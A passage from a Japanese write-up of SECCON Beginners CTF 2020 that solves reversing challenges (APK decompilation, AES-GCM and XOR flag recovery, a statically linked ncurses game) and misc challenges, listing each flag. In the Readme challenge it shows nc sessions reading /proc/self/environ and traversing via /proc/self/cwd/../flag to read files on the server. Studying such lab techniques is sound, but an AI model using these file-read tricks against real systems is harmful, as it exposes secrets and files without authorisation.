/tmp/a.gs`を実行すると,入力を1文字ずつ判定してくれるようらしい. 有り得そうな文字全パターンを試し,想定される出力(`output.txt`)と前方一致するものを拾うことで,1文字ずつ特定していけば良い. https://gist.github.com/bata24/5f409c9e70f80461f79338f48842f285 ------------------------------------------------------------------- ### Reversing - siblangs #### 問題 :::info Well, they look so similar... [siblangs.apk](https://score.beginners.seccon.jp/files/siblangs.apk-c08d002c5837ad39d509a1d09ed623003ae97229) (SHA-1 hash: c08d002c5837ad39d509a1d09ed623003ae97229) ::: #### フラグ `ctf4b{jav4_and_j4va5cr1pt_3verywhere}` #### 解説 拡張子をzipに変えてからclass.dexを取り出し,dex2jarでjarに変換する. ``` M:\DL\Shared\SECCON-2020-beginners>"C:\Program Files (x86)\dex-tools-2.1-SNAPSHOT"\d2j-dex2jar.bat classes.dex ``` さらに拡張子をzipに変えて,Javaのクラスファイルを取り出す.JAD-GUIで漁ると以下が見つかった. ![](https://i.imgur.com/Ax0z92v.png) ![](https://i.imgur.com/7LP8hth.png) どうやらAES-GCMであり,鍵もあるので復号する. ``` from Crypto.Cipher import AES b = [95, -59, -20, -93, -70, 0, -32, -93, -23, 63, -9, 60, 86, 123, -61, -8, 17, -113, -106, 28, 99, -72, -3, 1, -41, -123, 17, 93, -36, 45, 18, 71, 61, 70, -117, -55, 107, -75, -89, 3, 94, -71, 30] data = ''.join([chr(x & 0xff) for x in b]) nonce, tag = data[:12], data[-16:] print len(data[12:-16]) cipher = AES.new("IncrediblySecure", AES.MODE_GCM, nonce) print cipher.decrypt_and_verify(data[12:-16], tag) ``` これはフラグの後半であり,前半が見つからない.色々探すと,`index.android.bundle`に怪しげなJavaScriptが見つかった. ![](https://i.imgur.com/4qFuvdh.png) フラグを判定していそうな箇所を切り出し,JS beautifierに掛ける. ``` ... function v() { var t; (0, l.default)(this, v); for (var o = arguments.length, n = new Array(o), c = 0; c < o; c++) n[c] = arguments[c]; return (t = y.call.apply(y, [this].concat(n))).state = { flagVal: "ctf4b{", xored: [34, 63, 3, 77, 36, 20, 24, 8, 25, 71, 110, 81, 64, 87, 30, 33, 81, 15, 39, 90, 17, 27] }, t.handleFlagChange = function(o) { t.setState({ flagVal: o }) }, t.onPressValidateFirstHalf = function() { if ("ios" === h.Platform.OS) { for (var o = "AKeyFor" + h.Platform.OS + "10.3", l = t.state.flagVal, n = 0; n < t.state.xored.length; n++) if (t.state.xored[n] !== parseInt(l.charCodeAt(n) ^ o.charCodeAt(n % o.length), 10)) return void h.Alert.alert("Validation A Failed", "Try again..."); h.Alert.alert("Validation A Succeeded", "Great! Have you checked the other one?") } else h.Alert.alert("Sorry!", "Run this app on iOS to validate! Or you can try the other one :)") }, t.onPressValidateLastHalf = function() { "android" === h.Platform.OS ? p.default.validate(t.state.flagVal, function(t) { t ? h.Alert.alert("Validation B Succeeded", "Great! Have you checked the other one?") : h.Alert.alert("Validation B Failed", "Learn once, write anywhere ... anywhere?") }) : h.Alert.alert("Sorry!", "Run this app on Android to validate! Or you can try the other one :)") }, t } return (0, n.default)(v, [{ ... ``` xorしてるだけなので,戻せば良い. ``` o = "AKeyForios10.3" xored = [34, 63, 3, 77, 36, 20, 24, 8, 25, 71, 110, 81, 64, 87, 30, 33, 81, 15, 39, 90, 17, 27] xored = map(chr, xored) xored = ''.join(xored) print xor(xored, o) ``` ------------------------------------------------------------------- ### Reversing - sneaky #### 問題 :::info Rumor has it that there's a hidden easter egg which can be activated by getting high score in this [game......](https://score.beginners.seccon.jp/files/sneaky.zip-2421f34f89e0cf594995798345e7e1962bccebce) ::: #### フラグ `ctf4b{still_ez_2_cheat?}` #### 解説 ncursesを使ったCUIのSnakeゲーム. gdb配下で起動しようとしたが,私の環境ではうまく行かなかったので,静的解析した. 静的リンクされた巨大なバイナリなので,IDA ProのFLIRTを使って,`libncurses.a`からシンボルを入手しないと辛いかもしれない. 使っている構造体. ![](https://i.imgur.com/DwSZ8Qg.png) 各種関数. ![](https://i.imgur.com/zjiHrGp.png) ![](https://i.imgur.com/BYCTmvy.png) ![](https://i.imgur.com/qCwW1z5.png) ![](https://i.imgur.com/si6AUeE.png) ![](https://i.imgur.com/vw2LKml.png) ![](https://i.imgur.com/wuKVEKj.png) ![](https://i.imgur.com/yP0ZGcx.png) `calc_flag()`関数では,9999点以上のときにフラグを表示するようになっている. これをエミュレートするpythonプログラムを書けば良い. https://gist.github.com/bata24/748c520f2662b7ed048c0be4ec6adc6b ------------------------------------------------------------------- ## Misc ### Misc - Welcome #### 問題 :::info Welcome to SECCON Beginners CTF 2020! フラグはSECCON BeginnersのDiscordサーバーの中にあります。 また、質問の際は ctf4b-bot までDMにてお声がけください。 ::: #### フラグ `ctf4b{sorry, we lost the ownership of our irc channel so we decided to use discord}` #### 解説 ------------------------------------------------------------------- ### Misc - emoemoencode #### 問題 :::info Do you know emo-emo-encode? [emoemoencode.txt](https://score.beginners.seccon.jp/files/emoemoencode.txt-2586093c6d0bf61e0babf4d142c2418fb243b188) ::: #### フラグ `ctf4b{stegan0graphy_by_em000000ji}` #### 解説 ------------------------------------------------------------------- ### Misc - Readme #### 問題 :::info [readme](https://score.beginners.seccon.jp/files/readme.zip-58261436215c147c3ab23cdaae6a5efd82a3ccbf) nc readme.quals.beginners.seccon.jp 9712 ::: #### フラグ `ctf4b{m4g1c4l_p0w3r_0f_pr0cf5}` #### 解説 `/proc`をうまく使う. ``` root@Ubuntu1804-64:~/a# nc readme.quals.beginners.seccon.jp 9712 File: /proc/self/environ HOSTNAME=b2a8444bdc32PYTHON_PIP_VERSION=20.1SHLVL=1HOME=/home/ctfGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DPYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/1fe530e9e3d800be94e04f6428460fc4fb94f5a9/get-pip.pyPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binLANG=C.UTF-8PYTHON_VERSION=3.7.7PWD=/home/ctf/serverPYTHON_GET_PIP_SHA256=ce486cddac44e99496a702aa5c06c5028414ef48fdfd5242cd2fe559b13d4348SOCAT_PID=16717SOCAT_PPID=1SOCAT_VERSION=1.7.3.3SOCAT_SOCKADDR=172.21.0.2SOCAT_SOCKPORT=9712SOCAT_PEERADDR=118.241.136.88SOCAT_PEERPORT=52046 ^C root@Ubuntu1804-64:~/a# ``` `/home/ctf/server`で動いてる事がわかるので,`cwd`経由で相対アクセスすれば良い. ``` root@Ubuntu1804-64:~/a# nc readme.quals.beginners.seccon.jp 9712 File: /proc/self/cwd/../flag ctf4b{m4g1c4l_p0w3r_0f_pr0cf5} ^C root@Ubuntu1804-64:~/a# ```